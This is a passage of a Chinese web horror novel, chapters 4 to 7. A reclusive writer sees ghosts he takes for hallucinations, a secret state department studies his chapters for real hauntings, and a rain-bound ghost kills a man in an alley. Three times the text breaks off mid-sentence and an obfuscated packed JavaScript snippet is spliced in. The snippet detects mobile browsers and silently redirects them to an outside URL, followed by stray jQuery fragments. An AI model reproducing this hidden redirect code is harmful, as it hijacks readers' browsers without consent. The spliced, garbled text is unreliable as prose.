这样想着,宴泠昭拿起筷子,伸向面前的红烧肉,夹起一块肥瘦相间的肉,刚准备放进自己碗里,眼角的余光瞥见红烧肉里有一个圆圆的、带点黑的东西。
菜都已经夹起来了,自然不能再放回去。于是,宴泠昭先把夹着的肉放进自己碗里,才伸出筷子,又去夹那个圆圆的不明物体,想看看是什么东西。
粘稠、焦糖色的汤汁裹满食材,但不妨碍能看出这个圆圆的东西除了一部分黑色,旁的部位皆是白色。
宴泠昭一开始还以为是鹌鹑蛋,可鹌鹑蛋没这么大;要说是鸡蛋吧,又比鸡蛋小了许多。
把圆圆的东西夹起来后,宴泠昭并没有立刻观察,而是先放进自己的碗里。
餐桌(吃饭)礼仪其一:禁止把菜翻来翻去挑挑拣拣;其二:夹到东西赶紧拿走。
圆圆的不知名食材表面光滑,加上油润的汤汁,十分考验‘筷子功夫’。
几乎是宴泠昭把筷子收回到碗口范围的瞬间,它就掉了下去,无辜地躺在晶莹剔透的白米饭上。
宴泠昭将其三百六十度拨动一周,最后黑色的那面朝上,正对自己。
......
竟然是一颗眼球。
宴泠昭从来不碰内脏,加上他本来这会也不想吃荤腥。现在可好,双重 “debuff” 叠加,宴泠昭瞬间感觉胃里一阵翻江倒海,恶心感如潮水般涌上,直堵喉咙口,一时间难受得厉害。
忍着不适,宴泠昭抬眸,对上女人满含期待的眼神。
他沉默了。
虽然很对不起女人,毕竟人家精心准备了这顿饭,满心诚意的邀请自己。可如果勉强吃下去,那对不起的就是自己了。
宴泠昭放下筷子,一脸歉意的道:“抱歉,胃突然有些不舒服,下次再吃吧。”
话音刚落,气氛顿时变得微妙起来。
宴泠昭眼前正常的世界开始变样。
暖黄色的灯光忽闪忽灭,光线忽明忽暗。墙纸一片片卷曲剥落,露出后面斑驳陆离、长满霉菌的墙面。地板出现一道道裂痕,缝隙中渗出暗红色的液体。
而坐在对面的女人,盘在后脑勺的头发肆意散开,如杂乱的荆棘凌乱地披散在肩上。皮肤苍白如纸,泛着死沉的青色。
眼球深深凹陷进眼窝,黑色的瞳孔仿佛深不见底的黑洞,散发出浓烈的阴森气息。嘴唇干裂,嘴角诡异的上扬咧至后耳根,勾勒出一个扭曲恐怖的笑容。
“为什么......不吃......”她的声音沙哑干涩,眼神幽怨的死死的盯着宴泠昭,而后,突然站起身来,关节发出令人牙酸的“咔咔”声,如同生锈的机器一般,缓缓逼近宴泠昭。
这一幕放在任何一个普通人身上都能将其吓疯。
但宴泠昭毫无波澜,平静得异常。因为对他来说,不过是又一次犯病罢了。
倒是女人这还是首次‘变异’。
因而,宴泠昭不仅没有丝毫害怕,反倒心生愉悦。
他饶有兴致的看着女人变异后恐怖吓人的模样,犹如欣赏一件稀世珍宝般,眼神深邃温柔得能把人溺死。
——这不就不卡文了么,素材来了。
女鬼靠近宴泠昭的动作陡然停住。
青年身上不仅没有丝毫恐惧的味道。甚至......女鬼幽幽的看着宴泠昭,清晰的感知到宴泠昭周围洋溢着的愉悦情绪。
......他在开心什么?正常人见到她这副模样早就吓得魂飞魄散了,可宴泠昭却表现得如此反常。
女鬼不由得提高了警惕,一时间不敢贸然行动,瞪着眼睛死死的盯着宴泠昭,试图从宴泠昭的举动中找出破绽,弄明白宴泠昭的底细。
那么,宴泠昭本人在想什么呢:
下雨,巷子,异空间,被拖进去的倒霉蛋喊天天不灵喊地地不应......
***
宴泠昭急着回去记录灵感,匆匆说了句“我先回去了,你早点休息”,便抬脚朝门口走去。
女鬼不语,只阴恻恻的盯着宴泠昭的背影。
就这么看着宴泠昭脚步未曾有丝毫停顿地走出了她的地盘,注意,是地盘,还不是外出狩猎时用的结界。
女鬼:“......”
眼皮一抽,女鬼默默坐了回去,垂下眼冷冷的看向面前一桌子的食物。几分钟后,将它们一一放入冰箱。
冰箱门打开的刹那,刺鼻的冷气扑面而来——冰箱最上面那层竟摆放着一颗属于人类男性的头颅。头颅双眼圆睁,死不瞑目,脸上的表情极为扭曲狰狞,仿佛在诉说着生前的痛苦与恐惧。
对此一无所知的宴泠昭在走出女人家门的瞬间莫名有种穿过了一层薄膜的感觉,只是那感觉太过轻微,且稍纵即逝,理所当然被宴泠昭当成了错觉。
回家第一件事,打开电脑文档,将脑海中的灵感化为现实。
接下来的时间,宴泠昭沉浸在对大纲的删改之中,时而托腮沉思,时而奋笔疾书,反复雕琢故事的每一个细节。
终于,经过一番精心修改,宴泠昭向后一躺,靠在椅背上,手指轻轻敲击键盘,输入标题:《雨巷》。
***
稍作休息,让紧绷的大脑得到放松,宴泠昭打起精神,重建了一个新文档。趁着这股劲,将故事开头写了出来:
【隔壁那对夫妻,像是变了一个人......】
窗外天色渐明。
宴泠昭一鼓作气写了两万字,分成三章发布。
看着页面上弹出上传成功的提示框,宴泠昭仿佛耗尽了全身最后的力气,眼神中透着深深的疲惫,身体也似被抽干了般绵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429678|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
软无力。
拖着沉重的步伐,宴泠昭一头栽倒在床上,几乎是闭上眼睛的瞬间就进入了沉沉的梦乡。
不过在意识彻底陷入黑暗的前一秒,宴泠昭想起一件事,他好像忘记吃药了。
......算了,睡醒再说吧,这会实在没力气。
与此同时,国家某神秘部门亮起红灯,忙碌了起来。
作者名为kjhgf——一串意义不明的字母的作者于早晨六点上传了新章节。
值得一提的是,某神秘部门就是为了这名作者服务(创建)的。
该部门汇聚了各个领域的顶尖专家:神秘学、心理学、社会学、超自然现象研究学......
呃,想必大家也看出来了,说是各个领域,‘正经’的却并不多,甚至没几个,显然,研究方向不是正经科学。
此刻,部门成员们围坐在一间机密会议室里,气氛凝重紧张。
大屏幕上,作者kjhgf新发布的小说章节内容不断滚动播放。
众人全神贯注的分析着每一个段落、每一句话,记录下其中重要的关键信息,‘简称’:设定。
四年前,一本恐怖小说在某知名网站发表。起初,并未引起太多人的关注,如同沧海一粟,淹没在海量的网络文学作品之中。
直到有一天,一位公职人员偶然间发现,这本小说里所描述的鬼怪并非单纯的虚构想象,而是真实存在的——小说里的鬼怪会在未来两个月内出现。
作者的身份是神秘的,查不到的。与系统数据无关:那是一种非常见的、并非依靠复杂计算机技术实现的隐匿手段。
倘若作者只是通过常规手段,利用高超技术侵入网站数据系统来掩盖自己的身份,那以国家所汇聚的众多顶尖人才、拥有的强大技术资源,断无破解不了的道理。
国家内部经过一番讨论,最终得出这位作者大概率不是人类的结论。
论据一:以人类个体现有的能力,做不到让自己完全消失的程度,除非一整个强大的国家运作起来出手掩盖。而我国是世界上数一数二的大国,不存在这种情况。
论据二:作者手中掌握着过于超前的信息——也不只是未卜先知,还是Ta提前知道些什么。
国家不知道作者想干什么,目的又是什么。但就目前而言,作者的确为国家提供了至关重要的信息,在一定程度上,变相协助了他们应对棘手的鬼怪问题。
当下,鬼怪真实存在这一事实,尚未向全世界公开披露。之所以选择隐瞒,是为避免引发大规模的社会恐慌。
正常情况下,我国每日因各类意外事故导致死亡的人数就多达数千人。将鬼怪因素纳入其中,每日的死亡人数也不过上升至一万人左右。从宏观层面来看,这样的增长幅度在国家可承受范围之内。
除此之外,一旦将鬼怪存在的消息公之于众,不提必然会引发民众的恐慌,进而给社会管理带来巨大的困难,还有一个极为关键的因素——人类的恐惧对诡怪似乎有加成效果:
人们内心的恐惧越是强烈,鬼怪的力量就越强大。
话说回来,国家一方面无法与这位神秘的作者取得联系,展开‘谈判’;另一方面,又忧心作者突然停笔,导致失去关键的信息来源。
为了维持与作者之间的微弱联系、尽可能的获取更多有价值的信息,国家专门安排了一批人员,每天定时前往小说页面打卡、留言。围绕作者发布的故事内容展开热烈讨论。
目的是为了与作者产生互动,看作者能不能透露一些额外的关键信息。
可惜,令人遗憾的是,截至今日,作者始终未对任何一条评论做出回应。
对了,还有一点。
国家目前能提供的好处只有钱(因为联系不上作者)。
好消息:作者每月按时提钱,说明是需要钱的。坏消息:找不到钱流通的方向,就好像这笔钱凭空蒸发,但最后又会正常流入市场。
一个小时后。
坐在会议室讲台上的男人放下笔,如鹰隼般锐利的目光扫向众人,开口道:“现在开始发言。”
5. 第 5 章
炽烈的阳光穿过敞开的窗户,投射进屋内,亮得晃眼。
宴泠昭在这刺眼的光线中迷迷糊糊醒来,意识还沉浸在半梦半醒之间。他下意识抬起手,试图遮挡住那过于刺眼的阳光,手掌在眼前形成一片小小的阴影。
缓了一会儿,大脑逐渐恢复清明。宴泠昭伸手摸索着拿起放在枕边的手机,眯眼看了下时间:
14:35。
已经下午了。
鉴于他是早上才睡的,这个点醒也正常。
打了个哈欠,脑袋还有些昏沉,放下手机,宴泠昭拉起被子罩住脑袋,打算再睡一会儿。
但眼下正值一年中最热的时候。
没多久,宴泠昭就感觉身上黏黏糊糊的,汗水不停的往外冒。同时,被子里的空气也愈发稀薄,呼吸逐渐变得困难。
宴泠昭不得不掀开被子,睡意在折腾中彻底消散。
盯着天花板发了一会呆,宴泠昭起床,穿上拖鞋,打算冲个澡。
***
拧开花洒,冷水倾泻而下,带来一阵舒爽的凉意。
宴泠昭刚才看时间的时候,顺便瞥了眼时间旁边显示的天气度数。今天有30多度,难怪阳光这么刺眼、气温这么高。要知道昨天才二十度,今天一下子就升了十多度,他要早知道就提前开空调了,以及会记得拉上窗帘。
水流顺着宴泠昭的肩膀蜿蜒流下,勾勒出青年线条流畅而不失力量感的脊背;由于平日里鲜少出门的缘故,宴泠昭的皮肤白皙得几乎能看见下方青色的血管;水珠顺着胸膛滑落至小腹,于腹肌上停留了几秒钟,然后继续向下滑落,经过修长的双腿流淌到地面,最后流进排水道。
......
宴泠昭关掉花洒,水流戛然而止。
走出浴室前,他伸手从挂在一旁墙上的架子上拿起平日备好的干毛巾围在腰上。湿漉漉的头发不断往下滴水,没入毛巾,浸出一小片深色。
“嘀、嘀”
宴泠昭按下空调遥控器上的按钮,遥控器接收到指令,发出两道响声。紧接着,空调主机运转起来,出风口送出凉爽的冷气,迅速涌向房间里的每一个角落。
开完空调,宴泠昭赤裸着上半身走到窗边。
热浪霎时扑面而来,宴泠昭伸手将窗户关上。
热气来源就此被切断。在空调的持续运作下,房间里的温度很快下降,闷热感随之消散,取而代之的是宜人的凉爽。
宴泠昭坐在椅子上玩起手机。没玩一会,一阵强烈的饥饿感袭来。
宴泠昭望向窗外刺眼的太阳光,想到外面酷热难耐的天气,实在不愿意出门,于是决定点外卖。
打开某团软件,手指在屏幕上滑动,推送的店铺一家家闪过。
然而,浏览了一圈下来,宴泠昭并没有看到能勾起他食欲的菜品。
遇事不决麻辣烫。
单人套餐,点击下单,确认付费。
半小时后,敲门声响起。
宴泠昭起身去开门。
门外站着身穿平台公司制服的外卖小哥。小哥脸上带着灿烂的微笑,尽管声音中透着疲惫,却依旧热情的说道:“您好!您的外卖到了。”说着,将手中的餐品递给宴泠昭。
宴泠昭看着外卖小哥满头的大汗,豆大的汗珠从额头滚落。皮肤被晒得黝黑,急促的呼吸声清晰可闻,不难看出他现在十分劳累。
但即便如此,小哥脸上依旧保持着微笑,努力展现出良好的服务态度。
劳动人民最伟大。
宴泠昭接过袋子,说道:“等一下,我去给你倒杯水。”
外卖小哥一怔,下意识想要拒绝,可话还没出口,宴泠昭已经转身走进了屋内。然后很快端了一杯水出来,外卖小哥眼中闪过一丝动容,喉咙像是被什么堵住了一般,略带哽咽的小声说了句“谢谢。”
不由得想到上一单的客户,简直是噩梦——
明明是那位客人自己地址填写得模糊不清,他按照导航找到了大致位置,却因为没有具体门牌号,只能拨打客人的电话询问,然而电话那头一直无人接听。
在烈日下焦急的等待了十多分钟,电话终于接通,而此时他已超时,后续订单也受到了影响,语气难免有些着急。
客人就觉得他态度不好、不够温和,不仅对着他劈头盖脸一顿臭骂,最后还打了差评。
外卖小哥满心委屈又无比气愤,无奈为了生计,他除了默默忍受,也别无他法。
可能运气真的是守恒的吧,这一单就遇到了心善的客人。
巨大的反差致使外卖小哥心中五味杂陈,眼睛有些发酸。他从宴泠昭手里接过杯子一口气把里面的水喝完,大声说道:“祝您生活愉快!”然后转身下楼。
他还有别的单子要送,时间紧迫。
刚下了两步阶梯,身后传来宴泠昭的声音:“注意安全,天热,容易出汗,汗水滴落到眼睛里会影响视线。”
外卖小哥“嗯”了一声,又说了句谢谢,两步做三步,很快便消失在宴泠昭的视野里。
宴泠昭关上门回到客厅。
***
外卖小哥将一次性杯子扔进垃圾桶里,骑着电动车驶出小区。
烈日高悬,大地犹如一个蒸笼,空气都被烤得扭曲。
汗水不停的从额头渗出,外卖小哥一心赶路,无暇顾及,任由其流下。
到一个十字路口时,一滴汗珠好巧不巧掉进外卖小哥的眼睛里。
刹那间,一阵刺痛袭来,外卖小哥的视线变得模糊不清。他下意识用力眨眼睛,试图缓解这阵不适,而也就是这短暂的几秒钟分神,导致他没能及时注意到前方路况:
一辆私家车不顾红灯指示,径直冲了过来。
等到外卖小哥恢复视线,察觉到危险时,已经来不及了。
伴随尖锐的刹车声,两车眼看即将发生相撞。
千钧一发之际,外卖小哥感觉有一股力量从旁边推了他一下,让他整个人摔下了车。
在地上滚了好几圈才停下来,外卖小哥惊魂未定的看着前方被撞得解体的电动车,冒出一身冷汗,心知如果没有这一摔,他的下场多半和电动车一样。
私家车车主一脸惊慌的从车上下来,满脸害怕与愧疚地跑到外卖小哥身边,语无伦次的道歉:“实在对不起!我......我不是故
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429679|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意的,您没事吧?伤着哪儿了?”
外卖小哥此时正处于极度恐惧之中,心脏狂跳不止,自然是说不出话来。
周围的路人围拢过来,有人帮忙拨打报警电话,有人关切的询问外卖小哥状况,有人举着手机录像......
就在众人忙碌之际,不远处马路边,一个穿着红裙子的小女孩静静地注视着这边。她的脖子上有一圈细细的红色,皮肤苍白得毫无血色。
一阵微风吹过,裙摆轻轻飘动,却没有带起一丝生气。
这时,一个路人从她面前经过。
小女孩的身影即刻如同轻烟一般,逐渐模糊,随后在原地凭空消失不见。
这诡异的一幕,却居然没能引起周围任何一个人的注意。
......
小女孩的身形出现在一个老旧小区里。
斑驳的墙皮、坑洼的路面,无不透露着这个小区岁月的痕迹。路边,一把同样饱经沧桑的椅子上,坐着一个身形佝偻的老人。
老人头发花白,脸上布满皱纹,眉眼间透着慈祥,不过看久了会莫名有种恐惧感。身旁放置着一根拐杖。
小女孩从老人面前走过,老人抬起头,眼里闪过一道诧异,“你出去一趟没死人?”
他嗅到了生气,唯独没有死气。
面对老人的询问,小女孩停下脚步,身体纹丝未动,脑袋如同机器一般,生硬机械地转动了九十度,正对老人。
她直勾勾地盯着着老人,嘴唇未曾动弹分毫,空气中却响起她稚嫩的声音:“遵从他的意愿。”
***
宴泠昭下楼丢垃圾。
因为白天太热,他足足等到傍晚才出的门。
朦胧的余晖洒在小区道路上,蝉鸣此起彼伏响个不停。
扔完垃圾往回走的途中,宴泠昭遇到了小区里的清洁工阿姨。
阿姨正拿着扫帚清扫路面,看到宴泠昭,阿姨脸上绽放出热情的笑容,走上前主动打起招呼:“小宴!好久没看到你咯,真是难得见你一面。”
阿姨性格开朗健谈,宴泠昭没少看到她和小区里的其他住户热络交谈,不过聊天对象大多是和她年纪相仿的大姨们。
宴泠昭不擅长应付这种特别热情还喜欢聊天的人,但出于基本的礼貌,他不得不硬着头皮回了一句:“阿姨好。”
想到上次和阿姨的聊天内容,宴泠昭有些头疼。
当时阿姨笑着问他有没有谈女朋友,宴泠昭如实回答说没有。阿姨一听,顿时来了兴致,拍着胸脯说要给他介绍对象。宴泠昭连忙借口自己有事,匆匆‘逃离’了现场。
就是说,有没有一种可能,阿姨说难得见他一面,是他有意避开阿姨......
——可千万别再说介绍对象的事了。
宴泠昭在心里默默祈祷。
出乎宴泠昭意料的是,阿姨居然真的没有提及和他感情状况相关的话题,而是说起了另外一件事。
“你们这栋楼最近不知道咋回事,总有一股特别臭的味道。我楼上楼下仔仔细细都打扫了一遍,愣是没发现啥脏东西,估计是从哪户人家里传出来的,你知不知道是哪家?”
6. 第 6 章
宴泠昭顿了下,问:“有吗?”
他并没有闻到什么臭味。
阿姨其实也就是随口一说,本就没指望能从宴泠昭口中得到答案。眼下见宴泠昭一副什么都不知道的样子,心里升起果然如此的感觉。
她是知道宴泠昭的情况的:小伙子经常宅在家里,鲜少外出,听说是个什么自由工作者职业。
现今这职业好像挺热门的——若是观念传统守旧些的人,或许会觉得这并非一份正经工作。但阿姨性格开朗豁达,平日在小区里跟谁都能聊上几句,见识颇广,因此对于这种新兴职业,她接受得很快。
况且宴泠昭长得好、身材高挑瘦削,整个人也收拾得干净利落。
可见生活习惯不错。
阿姨是越看越喜欢。
“不说这个了。小宴啊,我一个朋友的女儿刚大学毕业,年纪比你小几岁......”
该来的终究会来。
宴泠昭耐着性子听了几句,最后到底还是按捺不住,含糊的表示自己还有工作要忙。
阿姨闻言,意犹未尽的停下聊天的欲望,放宴泠昭走了。
......
宴泠昭停在半道上,距离他家还有三阶楼梯。
停下来的原因是他看到一个男人呆呆地站在对门邻居家门前,手里提着一个红色塑料袋,袋子撑得鼓鼓囊囊,明显里面装着液体,不过具体是什么液体就无从知晓了,也许是水吧。
宴泠昭刚要收回目光,看到袋子跳动了一下。
就好像里面有个活物在挣扎蠕动。
看来装的大概率是海鲜。
宴泠昭抬起眼眸。
——他就说男人怎么会轻易善罢甘休。
倒不是什么难舍难分的感情纠葛问题,纯粹是他们这个小区虽说老旧破败,但胜在地理位置绝佳,位于大城市市中心附近,大致处于二环~三环之间。
要知道在这样一座繁华的大都市里,越是好的地段越是寸土寸金。
所以有一点宴泠昭不理解:这样好的位置,周边皆是现代化风格的高楼大厦,鳞次栉比。小区在这其中格格不入,宛如平整画卷上突兀凹陷的一块瑕疵。
而按照城市整体规划布局来看,正常来说不应该遗漏这样一个地方。可现实是小区就像是被遗忘了一般,无人问津。
收回思绪,宴泠昭语气冷淡的开口道:“许梦洁邀请你来的?”
许梦洁是隔壁女人的名字。
男人不说话。
果然是不请自来。
宴泠昭走上最后三级台阶,伸手按住男人的肩膀,稍一用力,便将人扭转过来面朝自己。
......嗯?
映入宴泠昭眼帘的是一张没有五官的扁平的脸,面部皮肤犹如融化的蜡油般,呈现出令人毛骨悚然的流动状态。
他这是又犯病了?
在宴泠昭出神之际,男人额头正中央眉心的位置裂开一道缝隙,从中露出一只眼睛。眼睛先是滴溜溜地转动了一圈,好似在调整位置,随后直勾勾的盯着宴泠昭。
这一幕诡异恐怖到了极点。
好在宴泠昭已经习惯了“见鬼”。他紧紧按着男人肩膀的手没有丝毫放松,语气依旧平淡,然而若是仔细听,还是能听出其中夹杂着的冷意:“你们已经离婚了吧,一个成熟的、懂礼貌知礼节的人,可不会做出纠缠前任的事。”
宴泠昭知道自己应该回屋吃药,但事已至此,还是先解决了再说吧,耽搁一小会儿应该问题不大。
男人仍然没有出声。宴泠昭可不觉得是因为他没有嘴巴。
——不管他眼中的世界多么荒诞离奇,说到底都是幻觉。他所看到的没有嘴巴,并不代表“现实里”男人就真的没嘴巴。
他又不是没和男人说过话。
男人无视宴泠昭按着自己肩膀的手带来的阻力,朝着宴泠昭一点点逼近。融化的皮肤如同散发着恶臭的黏液,往外延展、拉伸,向宴泠昭蔓延而去。
宴泠昭顿觉一阵强烈的恶心感涌上心头,他虽知道眼前的一切都是假的,但还是被恶心到了,本能地举起拳头挥了出去。
“啊!”男人发出一道凄厉的惨叫,手中紧握着的袋子摔落在地上。
“啪”的一声,袋子破裂,里面的东西一股脑儿地流了出来。
暗红色的浓稠液体在地面上迅速蔓延开,散发着刺鼻的腥味,伴随液体一同流出的,还有一堆杂乱的内脏,脏器在地上扭曲堆叠......画面可谓是‘色味俱全’,甚至有些过于浓烈。
宴泠昭被刺激得肠胃痉挛,呕吐感冲上喉咙,被他用力压了下去。
这时,邻居家的门“吱呀”一声缓缓打开。女人从里面探出头来,看到眼前的景象,先是愣了下,然后示意男人进屋。
男人低着头瑟缩了一下,听话地走进屋子,消失在宴泠昭视野里。
宴泠昭面色一冷,很是失望——对女人怒其不争的失望。
要知道,女人没少遭受男人的暴力对待,不久前她说要和男人离婚,宴泠昭还以为女人终于想开了,有种欣慰的感觉。结果这会就护着男人,倒显得是他多事。
女人察觉到宴泠昭的不满,赶忙开口解释:“我叫他来收拾东西的,他还有一些东西没拿走。对了,你没事吧......”女人注意到宴泠昭脸色难看,声音不自觉放小,小心翼翼的问道。
宴泠昭摇了摇头,神情冷淡,“没事。”
***
服用下药物后,宴泠昭神色恹恹地躺在床上。
脑袋有些发晕,但睡不着。
刷了一会手机,困意渐渐如潮水涌来,一波接着一波,淹没了他的意识。
宴泠昭打了个哈欠,手指一松,手机滑落在一旁的枕头上。他合上双眼,很快进入了梦乡。
窗外,天色悄然变换。昏黄的余晖渐渐隐退,夜幕如同一块巨大的黑色绸缎铺展开来。
不知过了多久,皎洁的圆月爬上天空,清冷的银光透过窗户,洒落在宴泠昭的脸上。青年肤色白皙五官精致,鼻梁挺直,薄唇透着一股冷淡劲,仿佛天生自带厌世气质,在幽白的月色下更显冷清。
时间一分一秒流逝。
有那么一瞬间,宴泠昭脸上浮上一层朦胧的红光,但这层红光很快退去,仿佛只是错觉。
......
深夜,万籁俱寂。
客厅里的挂钟不紧不慢的走着,发出单调又清晰的“嘀嗒”声。
突然,一阵“砰、砰”的闷响从窗外传来。那声音沉闷而有节奏,像是有人在黑暗中用钝器一下一下地敲击着什么。
宴泠昭在睡梦中似有所察觉,眉头微微皱起,眼睛睁开一条细缝,目光有些迷离的朝着窗外望去。
——自然是什么都没看到。
伸手把被子往上拉了拉,将脑袋盖住,被子隔绝了一部分声音,那恼人的“砰砰”声小了一些。
这下勉强能接受了。
宴泠昭的意识再度沉入黑暗深处,呼吸变得平缓。
......
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429680|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“砰!砰!”
一只苍白如纸、瘦骨嶙峋的手,握着一根锈迹斑斑的铁棍,机械地敲打着悬挂在大楼外侧墙壁上的水管。
每一次敲击,都会发出沉闷的声响。
一双空洞的眼睛死死盯着宴泠昭家的窗户,仿佛锁定住了猎物。
楼下。
身穿红裙的小女孩与面目慈祥的老人一左一右坐在石凳上。他们中间放着一张石桌,桌面上刻着一幅棋盘,是小区里很常见的供居民下棋的‘器材’。
不过显然两人都没有下棋的兴致。
老人脸上始终挂着一抹微笑,嘴角的弧度分毫未变,透着一种难以言说的怪异。他双手撑着拐杖,腰背佝偻,看着四楼外墙上攀爬着的身影,眼神里毫不掩饰的流露出恶意与愉悦,“看到他们,我就想起曾经......”
老人总是喜欢回忆过去。
小女孩沉默不语。
老人叹了口气,破天荒没有再絮叨那些陈芝麻烂谷子的事儿,顿了顿,仰头望向远方被高楼切割得支离破碎的天空,语气中满是沧桑与悔恨的感慨道:“如果时间能倒流、如果再给我一次机会,我一定跑得远远的——”
***
凌晨一点,大多数人都已进入梦乡,有些写字楼里却还灯火通明。
孟方礼揉了揉酸涩的眼睛,望着电脑屏幕上终于完成的方案,长舒了一口气。
作为一名在大城市打拼的社畜,这样的加班已是常态。
大城市竞争激烈,能留下来的要么是狠人,要么是有家底做后盾的幸运儿。
孟方礼显然不属于后者,否则也不会加班到这么晚。
收拾好东西,孟方礼拖着疲惫的身体离开公司。
夜空晴朗,繁星闪烁。街道上依旧能看到车辆穿梭,只是相比起白天的川流不息,深夜要稀疏许多。
路边夜市摊散发着诱人的香气,还有不少人在喝酒吃饭,欢声笑语在寂静的夜里传得很远。
热闹的场景让孟方礼那颗紧绷的心稍稍放松了些。
拐进平日里常走的近道小巷,刚一进去,孟方礼就闻到一股冷湿的味道,同时一阵异样的寒意令他不禁打了个颤。
这个月份可是夏天啊,晚上气温虽然是会降低一些,但应该不至于让人感到冷才对。
......难道是要下雨了?
孟方礼懵逼地抬起头望向天空。
他清楚记得出门前看的天气预报,并没有说今天会下雨。天空也确实一片晴朗,没有丝毫要下雨的迹象,可这冷湿的气息却愈发浓烈。
就在孟方礼满心疑惑之时,细密的雨点毫无征兆地飘落下来。
孟方礼躲避不及,几滴雨水落在了他的肩头。
居然真的是要下雨了。
孟方礼抱怨了一句倒霉,气象局也太不靠谱了。低下头,看到一个女人站在他不远处的前面。
直觉拉响警报,孟方礼无端感到一阵心慌恐惧。然后,他做出了最正确的行为:转身就跑。
然而,他来时的路不知何时被黑暗吞噬,望不见尽头。
......
翌日清晨。
一名清洁工像往常一样来到这条小巷打扫卫生,当看到地上那具惨不忍睹的尸体时,吓得瘫坐在地。
缓过神后,他颤抖着掏出手机报了警。
没多久,警察赶到现场。警戒线迅速拉起,现场勘查有条不紊地进行着。
但这批警察在现场工作了没多久,就被另一批人替换了下来。
7. 第 7 章
替换的那批人迅速接管了现场。
他们身着的制服与普通警服并无太大差异,区别只在于其右臂上的臂章并非常见的盾型,而是凌厉的矛型;也不是绣制的,而是钢铁打造缝上去的,在阳光下反射出冷峻的光泽。
“咔嚓咔嚓”
一位警员手持专业相机,从不同角度拍摄案发现场的每一处细节。
“刷刷刷”
另有一位警员手握纸笔,记录着现场的各种情况,从尸体的位置、姿势,到周边环境的特征,都详细的被他写在本子上。
旁侧,摆放着一台半人多高的精密机器。机器屏幕上不断闪烁着“0”和“1”,这些跳动的数字,是机器在对现场采集到的数据进行高速运算和分析。
约莫五分钟后,机器发出一声轻微的提示音,屏幕上的数字消失不见,取而代之的是一段段文字。
机器旁边负责管理和调试机器的工作人员见状赶忙凑到屏幕前,快速浏览上面呈现的内容。
大致意思是通过对现场空气含氧量、潮湿度等多种自然因素的计算,并与周边区域数据进行对比,机器发现现场环境参数与现实世界存在极大偏差,仿佛另成一个独立区域,完全不符合当时的状况。
再结合尸体表现出的离奇死相,答案已然明了。
队长沉声道:“与数据库进行全面比对,并没有找到与之匹配的案例。”说到这,他顿了顿,“换言之,这是新出现的鬼......咳,新型诡异。”
前不久,国家制定了正式书面用语,其中,超出自然科学解释范畴的神秘存在被称作“诡异”,不过,眼下大家更习惯用“鬼怪”来称呼就是了。
负责操作机器的工作人员突然开口:“等一下,数据库刚刚更新了一条新的信息。”说着,他熟练的在机器操作面板上点击、滑动,一连串指令飞速输入。
最后敲下回车键。
一篇资料报告弹出:
【名称:刀娘
能力:刀娘能够在巷子里构建诡域。进入诡域后,天空会下雨。只要沾到雨水,就会被刀娘锁定,成为她猎杀的目标。目前已知的唯一应对方法是:当察觉到异常,应立即寻找障碍物来遮挡雨水,避免被淋到。
进入刀娘诡域的特征。一:走进巷子后,如闻到明显的潮湿气味,那就意味着进入了刀娘的诡域(若当天下雨,本条作废)。方法二:回头望身后,如看到的是一片黑暗,那就是进入了刀娘的诡域。(待补充)
雨水通常在两分钟后开始降落。
若不幸遭遇刀娘,请务必保持冷静,尽快寻找合适的地方进行躲避。】
***
不知是不是心理作用,自从那天听阿姨说他们楼里有股臭味后,宴泠昭最近隐隐也闻到了一股臭味。
但那臭味是断断续续、时有时无的,难怪宴泠昭怀疑是不是自己想多了。
不过,既然阿姨都反映有这回事了,那应该就不是错觉。
宴泠昭只能留意看看是哪家传出来的了——让他挨家挨户去打听询问是不可能的。
这天,宴泠昭又熬了一个大通宵,天亮才睡的,毫不意外直接睡到了下午两点,阳光透过窗帘缝隙洒在脸上,宴泠昭才打着哈欠悠悠转醒。
躺在床上刷了一个小时手机,肚子饿的难受了,他才起床洗漱,准备下楼找点吃的。
宴泠昭并不是天天都会做饭,下厨全凭心情。比如这会他就没心情。
在小区附近一家粉面店点了一碗粉,吃到一半,旁边桌两位女生的聊天内容引起了他的注意。
“最近那个上热搜的新闻你看了没?”
“你是说那个管道碎尸案?”
“对对对,就是那个!太可怕了,我要是那栋楼的住户,估计得崩溃。尤其是住在凶手楼下,那更崩溃了,想想都头皮发麻。”
“确实,听说是尸体卡在水管里,导致污水反涌,有住户抱怨投诉才发现的。”
“唉,那栋楼的居民好惨啊,好好的房子成了凶宅。听说有不少人都搬走了。”
“换做是我也搬,这也太吓人了,一想到自家管道里有过尸体......开发商也不可能把整栋楼的管道都拆了重新安装,住户只能咬碎牙自己吞回去了。”
